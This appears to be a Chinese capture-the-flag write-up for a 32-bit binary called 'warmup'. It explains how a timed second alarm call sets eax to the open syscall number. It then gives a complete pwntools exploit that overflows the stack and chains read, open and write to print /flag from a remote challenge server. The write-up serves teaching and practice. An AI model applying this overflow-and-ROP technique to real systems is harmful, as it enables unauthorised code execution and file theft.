warmup(alarm函数的利用)
又是一个小技巧!
例行检查我就不放了

这道题没有got表,所有的函数实现都是由系统调用的方式去实现的,
看到题目的第一时间就想到了通过open read write的方式去获得flag
但是题目环境中确少了open这个函数
这里就不得不提alarm函数的妙用了
当第一次调用alarm函数的时候,会进行时间判断,然后再调用alarm函数后会停止,然后把剩余的参数返回到rax中
也就是说题目中alarm是10秒,我们等过了五秒后在调用alarm函数后,就能让rax为5
从而可以去实现open函数
(21条消息) Linux32位系统调用号——奇偶排列表格方便查找_hollk’s blog-CSDN博客
不是特别熟悉系统调用号的师傅,推荐hollk师傅的博客
那么完整exp如下:
from pwn import *
#p = process('./warmup')
p = remote('node4.buuoj.cn',26779)
alarm = 0x0804810D
read = 0x0804811D
addr = 0x080491BC
func = 0x0804815A
write = 0x08048135
mov_int80 = 0x08048122
#write flag
p.recvuntil('2016!')
payload = cyclic(0x20)+p32(read)+p32(func)
payload += p32(0)+p32(addr)+p32(0x8)
p.send(payload)
p.send(b'/flag'.ljust(0x8,b'\x00'))
#open flag
p.recvuntil("!")
sleep(5)
payload1 = cyclic(0x20)+p32(alarm)+p32(mov_int80)
payload1 += p32(func)+p32(addr)+p32(0)
p.send(payload1)
#read flag
p.recvuntil("!")
payload2 = cyclic(0x20)+p32(read)+p32(func)
payload2 += p32(3)+p32(addr)+p32(0x50)
p.send(payload2)
#write flag
p.recvuntil("!")
payload3 = cyclic(0x20)+p32(write)+p32(func)
payload3 += p32(1)+p32(addr)+p32(0x50)
p.send(payload3)
p.interactive()
结束!


 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号